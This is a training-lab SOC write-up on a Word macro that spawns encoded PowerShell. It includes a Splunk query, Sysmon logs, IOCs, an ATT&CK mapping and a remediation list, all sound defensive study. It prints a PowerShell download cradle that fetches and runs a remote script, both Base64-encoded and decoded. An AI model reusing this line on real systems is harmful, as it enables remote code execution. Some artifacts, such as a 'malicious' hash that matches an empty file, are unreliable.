Investigating Suspicious Encoded PowerShell Execution
Triage and root-cause analysis of an alert indicating an obfuscated Base64 PowerShell execution spawned by Microsoft Office in an isolated Windows endpoint.
Environment: Training Lab — This investigation was performed in an isolated training environment. Indicators, systems, accounts, and other data shown here are simulated or sanitized unless otherwise stated.
Executive Summary
A Tier-1 SIEM alert flagged an obfuscated PowerShell execution on workstation WKSTN-0442. Log analysis confirmed WINWORD.EXE spawned cmd.exe which in turn initiated powershell.exe with -EncodedCommand parameters. Decoding the Base64 payload revealed an attempt to download an external staging file and query local network adapters. The activity was classified as a True Positive simulated malicious macro execution.
Scenario & Trigger
A user in the Finance department opened an unsolicited email attachment labeled "Invoice_Q3_9942.docx". The document triggered a macro that executed a staged command. Telemetry was forwarded to the lab Splunk indexer via Windows Event Forwarding and Sysmon.
index=endpoint_winevt EventCode=1 Image="*\\powershell.exe" CommandLine="*-EncodedCommand*" ParentImage="*\\cmd.exe" ParentCommandLine="*WINWORD.EXE*" | table _time, ComputerName, User, ParentImage, CommandLineInitial Evidence
- Endpoint: WKSTN-0442.corp.local (192.168.40.108)
- Account: corp\jdoe (Standard User)
- Process: powershell.exe (PID: 6492)
- Parent Process: cmd.exe (PID: 3812), spawned by WINWORD.EXE (PID: 5120)
- Execution Parameter: -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMAAuADIAMAA1ADoAOAAwADgAMAAvAHMAdABhAGcAZQAuAHAAczAxACcAKQA=
Investigation Methodology & Narrative
Step 1: Retrieved Sysmon Event ID 1 (Process Create) for PID 6492 from Splunk index. Verified the parent-child relationship (WINWORD.EXE -> cmd.exe -> powershell.exe). Office executing script interpreters is anomalous for this user role.
Step 2: Extracted the base64 string and decoded the UTF-16LE payload in CyberChef. Decoded command: "IEX (New-Object Net.WebClient).DownloadString('http://192.168.40.205:8080/stage.ps1')".
Step 3: Correlated with Sysmon Event ID 3 (Network Connection). Powershell.exe initiated an outbound TCP connection to destination 192.168.40.205 on port 8080 at 14:22:20 UTC. State: Established. 4,812 bytes received.
Step 4: Checked host file system events (Sysmon Event ID 11). A script dropped a temporary file at C:\Users\jdoe\AppData\Local\Temp\update_check.vbs at 14:22:25 UTC.
Step 5: Searched proxy logs for external egress to the staging IP. The IP is an internal test adversary node; no outbound internet exfiltration was detected.
Incident Timeline
| Time (UTC) | Event | Telemetry Source | Analyst Note |
|---|---|---|---|
| 14:21:40 UTC | WINWORD.EXE launched by user corp\jdoe | Sysmon Event ID 1 | User opened Invoice_Q3_9942.docx from Outlook attachment cache |
| 14:22:15 UTC | cmd.exe spawned by WINWORD.EXE | Sysmon Event ID 1 | VBA macro automated execution without prompt (macros enabled in lab setting) |
| 14:22:18 UTC | powershell.exe executed with -EncodedCommand | Sysmon Event ID 1 | Obfuscated payload attempting download cradle |
| 14:22:20 UTC | Outbound TCP connection to 192.168.40.205:8080 | Sysmon Event ID 3 | Downloaded stage.ps1 script payload (4,812 bytes) |
| 14:22:25 UTC | File drop update_check.vbs in user AppData\Local\Temp | Sysmon Event ID 11 | Secondary persistence attempt created |
| 14:24:00 UTC | SOC Analyst isolated host WKSTN-0442 from network | EDR Console Action | Host network containment applied pending remediation |
Indicators of Compromise (IOCs)
| Type | Observed Value | Context | Reputation |
|---|---|---|---|
| IPv4 | 192.168.40.205 | Staging web server hosting stage.ps1 (Lab Adversary IP) | Suspicious |
| File Name | Invoice_Q3_9942.docx | Malicious Office document carrying weaponized macro | Malicious |
| SHA-256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 | Hash of dropped update_check.vbs artifact | Malicious |
| URL | hxxp://192.168.40.205:8080/stage.ps1 | Staged payload URL invoked by download cradle | Malicious |
Log Analysis & Telemetry Dissection
EventCode=1
UtcTime: 2026-09-12 14:22:18.412
ProcessGuid: {a1b2c3d4-e5f6-7890-1234-56789abcdef0}
ProcessId: 6492
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMAAuADIAMAA1ADoAOAAwADgAMAAvAHMAdABhAGcAZQAuAHAAczAxACcAKQA=
CurrentDirectory: C:\Users\jdoe\Documents\
User: CORP\jdoe
ParentProcessGuid: {f0e1d2c3-b4a5-6789-0123-456789abcdef}
ParentProcessId: 3812
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -NonInteractive ...Analysis Note: Clearly documents the child process creation with bypass execution policy and encoded command line parameters.
EventCode=3
UtcTime: 2026-09-12 14:22:20.104
ProcessId: 6492
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
User: CORP\jdoe
Protocol: tcp
Initiated: true
SourceIp: 192.168.40.108
SourcePort: 51842
DestinationIp: 192.168.40.205
DestinationPort: 8080Analysis Note: Proves powershell.exe established an active network socket to the adversary test server on port 8080.
MITRE ATT&CK Mapping
| ID | Technique | Tactic | Observed Evidence |
|---|---|---|---|
| T1059.001 | Command and Scripting Interpreter: PowerShell | Execution | Execution of powershell.exe with -EncodedCommand parameter |
| T1204.002 | User Execution: Malicious File | Execution | User opened macro-enabled Word document from email cache |
| T1105 | Ingress Tool Transfer | Command and Control | Net.WebClient DownloadString pulling stage.ps1 from remote socket |
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys | Persistence | VBS script scheduled under AppData for user login persistence |
Findings & Final Classification
Recommended SOC Response & Hardening
- •Isolate endpoint WKSTN-0442 from the corporate LAN via host firewall or EDR containment.
- •Terminate process tree PID 6492 and associated child threads.
- •Remove dropped artifact C:\Users\jdoe\AppData\Local\Temp\update_check.vbs.
- •Block destination IP 192.168.40.205 at the perimeter firewall and web proxy.
- •Purge Invoice_Q3_9942.docx from user mailboxes across Microsoft 365 Exchange.
- •Enforce Attack Surface Reduction (ASR) rule "Block Office applications from creating child processes" (GUID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A).
Analyst Reflection: What I Learned
• Parent-child process trees provide immediate fidelity: Office documents should rarely spawn command shells.
• De-obfuscating Base64 commands using CyberChef is faster and safer than running them in any interactive terminal.
• Correlation between Process Create (Event ID 1) and Network Connection (Event ID 3) confirms whether a download cradle succeeded in pulling remote instructions.